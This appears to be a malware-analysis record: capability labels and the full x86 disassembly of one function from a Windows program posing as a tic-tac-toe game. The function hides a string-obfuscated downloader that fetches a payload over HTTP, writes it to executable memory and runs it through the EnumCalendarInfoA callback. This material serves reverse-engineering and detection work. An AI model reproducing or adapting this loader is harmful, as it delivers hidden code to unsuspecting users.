Function at 0x405ea0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Execute shellcode via windows callback function
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4503c1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x57c
push ebx
push esi
mov esi, dword [ecx + 0x3c]
xor ebx, ebx
push edi
cmp esi, ebx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], esi
je 0x406a50
mov eax, dword [ecx + 0x1c]
push 0xffff0000
push ebx
push 0x1101
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push str.select__from_house
lea ecx, [ebp - 0x40]
call fcn.00433804
mov eax, dword [0x46d354]
mov dword [ebp - 4], ebx
cmp eax, 1
jg 0x40654c
inc eax
mov byte [ebp - 4], 1
mov dword [0x46d354], eax
add eax, 8
cmp eax, 0x10
je 0x406549
lea ecx, [ebp - 0xb4]
push 0x45f148
push ecx
mov dword [ebp - 0xb4], 0x5ba9
call fcn.00419964
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 3
call esi
mov cl, 0x65
mov al, 0x6c
xor ebx, ebx
push 3
mov byte [ebp - 0x3c], 0x6b
mov byte [ebp - 0x3b], cl
mov byte [ebp - 0x3a], 0x72
mov byte [ebp - 0x39], 0x6e
mov byte [ebp - 0x38], cl
mov byte [ebp - 0x37], al
mov byte [ebp - 0x36], 0x62
mov byte [ebp - 0x35], 0x61
mov byte [ebp - 0x34], 0x73
mov byte [ebp - 0x33], cl
mov byte [ebp - 0x32], 0x2e
mov byte [ebp - 0x31], 0x64
mov byte [ebp - 0x30], al
mov byte [ebp - 0x2f], al
mov byte [ebp - 0x2e], bl
call esi
lea edx, [ebp - 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 3
mov dword [ebp - 0x18], eax
call esi
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x57f]
mov byte [ebp - 0x580], bl
rep stosd dword es:[edi], eax
push 3
stosw word es:[edi], ax
call esi
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x580]
push 0xff
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 3
call esi
mov ecx, dword [ebp - 0x20]
lea edx, [ebp - 0x580]
push edx
call fcn.00405c70
push 3
call esi
push 3
call esi
push 3
mov dword [ebp - 0x18], ebx
call esi
mov ax, word [ebp - 0x580]
lea ecx, [ebp - 0x580]
cmp ecx, 0x2a2
mov word [ebp - 0x18], ax
jne 0x4061ca
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x14], 0x42
mov ecx, edi
mov byte [ebp - 0x19], 1
call fcn.00405aa0
mov ecx, edi
call fcn.00405ac0
mov esi, dword [ebp - 0x14]
jmp 0x406029
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x20]
push str._enter_row_and_column
push esi
push str.Player
push 0x46f858
call fcn.00408d00
add esp, 8
push eax
call fcn.00408f90
add esp, 8
push eax
call fcn.00408d00
add esp, 8
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0x18]
mov ecx, 0x46f8e8
push edx
push eax
call fcn.004084b0
mov ecx, eax
call fcn.004084b0
mov eax, dword [ebp - 0x18]
cmp eax, ebx
jl 0x40615b
cmp eax, 0xf
jge 0x40615b
mov ecx, dword [ebp - 0x2c]
cmp ecx, ebx
jl 0x40615b
cmp ecx, 0xf
jge 0x40615b
lea eax, [eax + eax*2]
lea ecx, [ecx + eax*4]
lea eax, [eax + ecx + 0x46d26c]
cmp byte [eax], 0x2e
jne 0x40615b
mov dl, byte [ebp - 0x14]
mov ecx, edi
mov byte [eax], dl
call fcn.00405ac0
push esi
mov ecx, edi
call fcn.00405b60
test al, al
je 0x406148
mov eax, dword [ebp - 0x14]
push str._wins_
push eax
push str.Player
push 0x46f858
call fcn.00408d00
add esp, 8
push eax
call fcn.00408f90
add esp, 8
push eax
call fcn.00408d00
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.00408340
mov ecx, dword [esi]
xor edi, edi
mov edx, dword [ecx + 4]
mov cl, byte [edx + esi + 4]
test cl, 6
lea eax, [edx + esi]
jne 0x406125
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x406125
mov edi, 4
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
cmp edi, ebx
je 0x406145
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x28]
or eax, edi
cmp edx, ebx
jne 0x40613e
or al, 4
push ebx
push eax
call fcn.0042709d
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x14], 0x42
setne cl
dec ecx
and ecx, 0x15
add ecx, 0x42
mov byte [ebp - 0x14], cl
jmp 0x4061bb
push str.Invalid_move._Try_again.
push 0x46f858
call fcn.00408d00
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.00408340
mov edx, dword [esi]
xor edi, edi
mov eax, dword [edx + 4]
add eax, esi
test byte [eax + 4], 6
jne 0x40619b
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x40619b
mov edi, 4
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
cmp edi, ebx
je 0x4061bb
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x28]
or eax, edi
cmp edx, ebx
jne 0x4061b4
or al, 4
push ebx
push eax
call fcn.0042709d
cmp byte [ebp - 0x19], bl
jne 0x406023
mov eax, 0x406544
ret
lea ecx, [ebp - 0x580]
cmp ecx, 0x22fb
jne 0x406265
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
push ebx
push 0x4674f4
push ebx
call edi
push 3
call esi
mov ecx, dword [ebp - 0x20]
call fcn.00405600
push ebx
push ebx
push 0x4674f4
push ebx
call edi
push 3
call esi
cmp byte [0x46d34d], bl
jne 0x40625f
mov ecx, dword [ebp - 0x20]
call fcn.00405660
push ebx
push ebx
push 0x4674f4
push ebx
call edi
push 3
call esi
mov ecx, dword [ebp - 0x20]
call fcn.004058c0
push ebx
push ebx
push 0x4674f4
push ebx
call edi
push 3
call esi
mov ecx, dword [ebp - 0x20]
call fcn.00405950
push ebx
push ebx
push 0x4674f4
push ebx
call edi
push 3
call esi
push 0x335
call esi
cmp byte [0x46d34d], bl
je 0x40620e
push ebx
call fcn.00419871
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x47e]
mov word [ebp - 0x480], bx
rep stosd dword es:[edi], eax
mov eax, 0x74
mov ecx, 0x68
mov word [ebp - 0x9e], ax
mov word [ebp - 0x58], ax
mov edx, 0x70
mov word [ebp - 0xa0], cx
mov eax, 0x2f
mov word [ebp - 0x48], cx
mov word [ebp - 0x56], dx
mov ecx, 0x38
mov word [ebp - 0x2c], dx
mov word [ebp - 0xa6], ax
mov word [ebp - 0x68], ax
mov word [ebp - 0x50], ax
lea edx, [ebp - 0xa0]
mov word [ebp - 0x76], cx
mov word [ebp - 0x90], cx
lea eax, [ebp - 0x480]
mov edi, 0x2e
mov ecx, 0x67
push edx
push eax
mov word [ebp - 0x9c], bx
mov word [ebp - 0x54], bx
mov word [ebp - 0xa8], 0x3a
mov word [ebp - 0xa4], bx
mov word [ebp - 0x66], 0x7a
mov word [ebp - 0x64], bx
mov word [ebp - 0x46], 0x37
mov word [ebp - 0x44], bx
mov word [ebp - 0x78], 0x39
mov word [ebp - 0x74], bx
mov word [ebp - 0x8e], 0x31
mov word [ebp - 0x8c], bx
mov word [ebp - 0x88], di
mov word [ebp - 0x86], 0x6f
mov word [ebp - 0x84], bx
mov word [ebp - 0x98], 0x72
mov word [ebp - 0x96], cx
mov word [ebp - 0x94], bx
mov word [ebp - 0x4e], cx
mov word [ebp - 0x4c], bx
mov word [ebp - 0x60], 0x33
mov word [ebp - 0x5e], 0x35
mov word [ebp - 0x5c], bx
mov word [ebp - 0x70], 0x30
mov word [ebp - 0x6e], di
mov word [ebp - 0x6c], bx
mov word [ebp - 0x80], 0x62
mov word [ebp - 0x7e], 0x6d
mov word [ebp - 0x7c], bx
mov word [ebp - 0x2a], bx
call fcn.004197f5
lea ecx, [ebp - 0x58]
lea edx, [ebp - 0x480]
push ecx
push edx
call fcn.004197f5
lea eax, [ebp - 0xa8]
lea ecx, [ebp - 0x480]
push eax
push ecx
call fcn.004197f5
lea edx, [ebp - 0x68]
lea eax, [ebp - 0x480]
push edx
push eax
call fcn.004197f5
lea ecx, [ebp - 0x48]
lea edx, [ebp - 0x480]
push ecx
push edx
call fcn.004197f5
lea eax, [ebp - 0x78]
lea ecx, [ebp - 0x480]
push eax
push ecx
call fcn.004197f5
lea edx, [ebp - 0x90]
lea eax, [ebp - 0x480]
push edx
push eax
call fcn.004197f5
lea ecx, [ebp - 0x88]
lea edx, [ebp - 0x480]
push ecx
push edx
call fcn.004197f5
add esp, 0x40
lea eax, [ebp - 0x98]
lea ecx, [ebp - 0x480]
push eax
push ecx
call fcn.004197f5
lea edx, [ebp - 0x50]
lea eax, [ebp - 0x480]
push edx
push eax
call fcn.004197f5
lea ecx, [ebp - 0x60]
lea edx, [ebp - 0x480]
push ecx
push edx
call fcn.004197f5
lea eax, [ebp - 0x70]
lea ecx, [ebp - 0x480]
push eax
push ecx
call fcn.004197f5
lea edx, [ebp - 0x80]
lea eax, [ebp - 0x480]
push edx
push eax
call fcn.004197f5
lea ecx, [ebp - 0x2c]
lea edx, [ebp - 0x480]
push ecx
push edx
call fcn.004197f5
add esp, 0x30
lea eax, [ebp - 0xb0]
mov word [ebp - 0xb0], 0x47
mov word [ebp - 0xae], 0x45
push eax
mov word [ebp - 0xac], 0x54
mov word [ebp - 0xaa], bx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
lea ecx, [ebp - 0x480]
mov edi, eax
push ecx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push eax
lea edx, [ebp - 0x14]
push edi
push edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], ebx
call fcn.00405cb0
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
add esp, 0xc
cmp eax, 0x2713
jae 0x4064f3
push 0x5df
call esi
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x14]
push eax
push edi
push ecx
call fcn.00405cb0
add esp, 0xc
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
push 0xcbb4f
push edx
push eax
push edi
call fcn.00405c30
mov ecx, dword [ebp - 0x14]
push 0x40
push 0x1000
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 0x14]
mov esi, eax
push edx
push edi
push esi
call fcn.004194c0
add esp, 0xc
push 0x15
push 0xffffffffffffffff
push 0x400
push esi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push ebx
call fcn.00419871
mov esi, dword [ebp - 0x24]
xor ebx, ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x280]
lea ecx, [ebp - 0xd8]
neg eax
sbb eax, eax
mov dword [ebp - 0xd8], ebx
and eax, ecx
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0xd0], ebx
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0xb8], ebx
push 4
mov byte [ebp - 4], 3
call fcn.0042f8fe
mov edi, dword [ebp - 0x40]
add esp, 4
cmp edi, ebx
mov dword [ebp - 0x18], eax
jne 0x4065b1
mov edi, 0x467318
add esi, 0x21c
lea ecx, [ebp - 0xbc]
push esi
call fcn.00403a00
mov esi, eax
cmp esi, ebx
jl 0x40663a
mov dword [ebp - 0x14], ebx
mov eax, dword [ebp - 0xbc]
lea ecx, [ebp - 0x14]
push ecx
push str.:s_f
mov edx, dword [eax]
push eax
mov byte [ebp - 4], 4
call dword [edx]
mov esi, eax
cmp esi, ebx
jl 0x406625
cmp edi, ebx
jne 0x4065f2
xor eax, eax
jmp 0x406614
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
lea eax, [esi + esi]
add eax, 3
and al, 0xfc
call fcn.004191a0
mov eax, esp
push ebx
push esi
push edi
push eax
call fcn.00402580
mov ecx, dword [ebp - 0x14]
push eax
push 0x45b92c
push ecx
mov edx, dword [ecx]
call dword [edx + 0x1c]
mov esi, eax
mov eax, dword [ebp - 0x14]
mov byte [ebp - 4], 3
cmp eax, ebx
je 0x406636
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp esi, ebx
jge 0x406641
mov eax, esi
mov esi, dword [ebp - 0x18]
jmp 0x406653
mov esi, dword [ebp - 0x18]
push 1
push esi
push ebx
lea ecx, [ebp - 0x280]
call fcn.00404990
cmp eax, ebx
je 0x40671e
push ebx
push ebx
push str.error
call fcn.0043add2
push esi
call fcn.0042f927
add esp, 4
lea esi, [ebp - 0x280]
lea edx, [ebp - 0xbc]
neg esi
sbb esi, esi
and esi, edx
mov dword [ebp - 0x24], esi
mov eax, dword [esi + 4]
mov byte [ebp - 4], 6
cmp eax, ebx
je 0x4066c8
mov dword [ebp - 0x14], ebx
mov eax, dword [esi]
lea edx, [ebp - 0x14]
push edx
push 0x467290
mov ecx, dword [eax]
push eax
mov byte [ebp - 4], 7
call dword [ecx]
cmp eax, ebx
jl 0x4066bc
mov eax, dword [ebp - 0x14]
mov edx, dword [esi + 4]
push ebx
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov dword [esi + 4], ebx
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 6
call fcn.00404750
mov ecx, esi
call fcn.00404730
mov esi, dword [esi]
mov byte [ebp - 4], 5
cmp esi, ebx
je 0x4066df
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov eax, dword [ebp - 0xcc]
mov byte [ebp - 4], 8
cmp eax, ebx
je 0x406704
push eax
lea ecx, [ebp - 0xd8]
call fcn.00403f90
lea ecx, [ebp - 0xcc]
call fcn.00402bd0
lea ecx, [ebp - 0x280]
lea edx, [ebp - 0xcc]
neg ecx
sbb ecx, ecx
mov byte [ebp - 4], bl
and ecx, edx
jmp 0x406a3c
push esi
call fcn.0042f927
mov eax, dword [ebp - 0xc0]
add esp, 4
cmp eax, ebx
je 0x40674f
mov eax, dword [ebp - 0xcc]
push ebx
push ebx
lea edx, [ebp - 0xc0]
mov ecx, dword [eax]
push ebx
push edx
push 1
push eax
call dword [ecx + 0x18]
mov dword [ebp - 0xc0], ebx
mov eax, dword [ebp - 0xcc]
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
cmp eax, ebx
jge 0x406767
mov esi, eax
jmp 0x4067f4
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x28], ebx
cmp eax, ebx
je 0x406792
mov eax, dword [ebp - 0xcc]
push ebx
push ebx
lea ecx, [ebp - 0xc0]
mov edx, dword [eax]
push ebx
push ecx
push 1
push eax
call dword [edx + 0x18]
mov dword [ebp - 0xc0], ebx
lea edx, [ebp - 0xc0]
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x24], edx
lea edx, [ebp - 0x24]
mov ecx, dword [eax]
push edx
lea edx, [ebp - 0x28]
push edx
push 1
push ebx
push ebx
push eax
call dword [ecx + 0x14]
mov esi, eax
cmp esi, ebx
jne 0x4068d2
lea ecx, [ebp - 0xcc]
call fcn.00404110
mov esi, eax
cmp esi, ebx
jge 0x4067f6
cmp dword [ebp - 0xc0], ebx
je 0x4067f4
mov eax, dword [ebp - 0xcc]
push ebx
push ebx
lea edx, [ebp - 0xc0]
mov ecx, dword [eax]
push ebx
push edx
push 1
push eax
call dword [ecx + 0x18]
mov dword [ebp - 0xc0], ebx
cmp esi, ebx
jne 0x4068d2
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x248]
mov edx, dword [ebp - 0x24c]
push eax
push ecx
push edx
push ecx
lea eax, [ebp - 0x10c]
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
call fcn.00433804
mov ecx, dword [ebp - 0x20]
call fcn.00406fd0
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x28], ebx
cmp eax, ebx
je 0x406856
mov eax, dword [ebp - 0xcc]
push ebx
push ebx
lea edx, [ebp - 0xc0]
mov ecx, dword [eax]
push ebx
push edx
push 1
push eax
call dword [ecx + 0x18]
mov dword [ebp - 0xc0], ebx
lea edx, [ebp - 0x24]
lea eax, [ebp - 0xc0]
push edx
lea edx, [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xcc]
push edx
push 1
mov ecx, dword [eax]
push ebx
push ebx
push eax
call dword [ecx + 0x14]
cmp eax, ebx
je 0x40687f
mov edi, eax
jmp 0x4068ca
mov eax, dword [ebp - 0xc4]
xor edi, edi
xor esi, esi
mov eax, dword [eax + 4]
cmp eax, ebx
mov dword [ebp - 0x18], eax
jbe 0x4068ca
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx]
cmp byte [edx + esi*8 + 4], bl
je 0x4068b3
push esi
lea ecx, [ebp - 0xcc]
call fcn.00406a70
mov edi, eax
cmp edi, ebx
jl 0x4068bf
mov eax, dword [ebp - 0x18]
inc esi
cmp esi, eax
jb 0x406893
cmp edi, ebx
jge 0x4068cc
lea ecx, [ebp - 0xcc]
call fcn.00402c30
cmp edi, ebx
je 0x4067fc
mov eax, dword [ebp - 0xcc]
cmp eax, ebx
je 0x406998
cmp dword [ebp - 0xd4], ebx
jbe 0x40695e
mov dword [ebp - 0x14], ebx
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
push 0x45b38c
push eax
mov byte [ebp - 4], 9
call dword [ecx]
cmp eax, ebx
jl 0x40692c
mov eax, dword [ebp - 0xd4]
xor esi, esi
cmp eax, ebx
jbe 0x40692c
mov edx, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x14]
push ebx
mov edx, dword [edx + esi*8]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0xd4]
inc esi
cmp esi, eax
jb 0x40690d
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xd4], ebx
push eax
call fcn.0042f927
mov eax, dword [ebp - 0x14]
add esp, 4
cmp eax, ebx
mov dword [ebp - 0xd8], ebx
mov byte [ebp - 4], 3
je 0x406958
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0xcc]
cmp eax, ebx
je 0x406998
cmp dword [ebp - 0xc0], ebx
je 0x406982
mov edx, dword [eax]
push ebx
push ebx
lea ecx, [ebp - 0xc0]
push ebx
push ecx
push 1
push eax
call dword [edx + 0x18]
mov dword [ebp - 0xc0], ebx
lea ecx, [ebp - 0xcc]
call fcn.00404730
lea ecx, [ebp - 0xc8]
call fcn.00404730
lea esi, [ebp - 0x280]
lea edx, [ebp - 0xbc]
neg esi
sbb esi, esi
and esi, edx
mov dword [ebp - 0x24], esi
mov eax, dword [esi + 4]
mov byte [ebp - 4], 0xb
cmp eax, ebx
je 0x4069f0
mov dword [ebp - 0x14], ebx
mov eax, dword [esi]
lea edx, [ebp - 0x14]
push edx
push 0x467290
mov ecx, dword [eax]
push eax
mov byte [ebp - 4], 0xc
call dword [ecx]
cmp eax, ebx
jl 0x4069e4
mov eax, dword [ebp - 0x14]
mov edx, dword [esi + 4]
push ebx
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov dword [esi + 4], ebx
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0xb
call fcn.00404750
mov ecx, esi
call fcn.00404730
mov ecx, esi
mov byte [ebp - 4], 0xa
call fcn.00404750
mov eax, dword [ebp - 0xcc]
mov byte [ebp - 4], 0xd
cmp eax, ebx
je 0x406a27
push eax
lea ecx, [ebp - 0xd8]
call fcn.00403f90
lea ecx, [ebp - 0xcc]
call fcn.00402bd0
lea ecx, [ebp - 0x280]
lea eax, [ebp - 0xcc]
neg ecx
sbb ecx, ecx
mov byte [ebp - 4], bl
and ecx, eax
call fcn.00402b20
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
call fcn.00433796
mov ecx, dword [ebp - 0xc]
lea esp, [ebp - 0x594]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret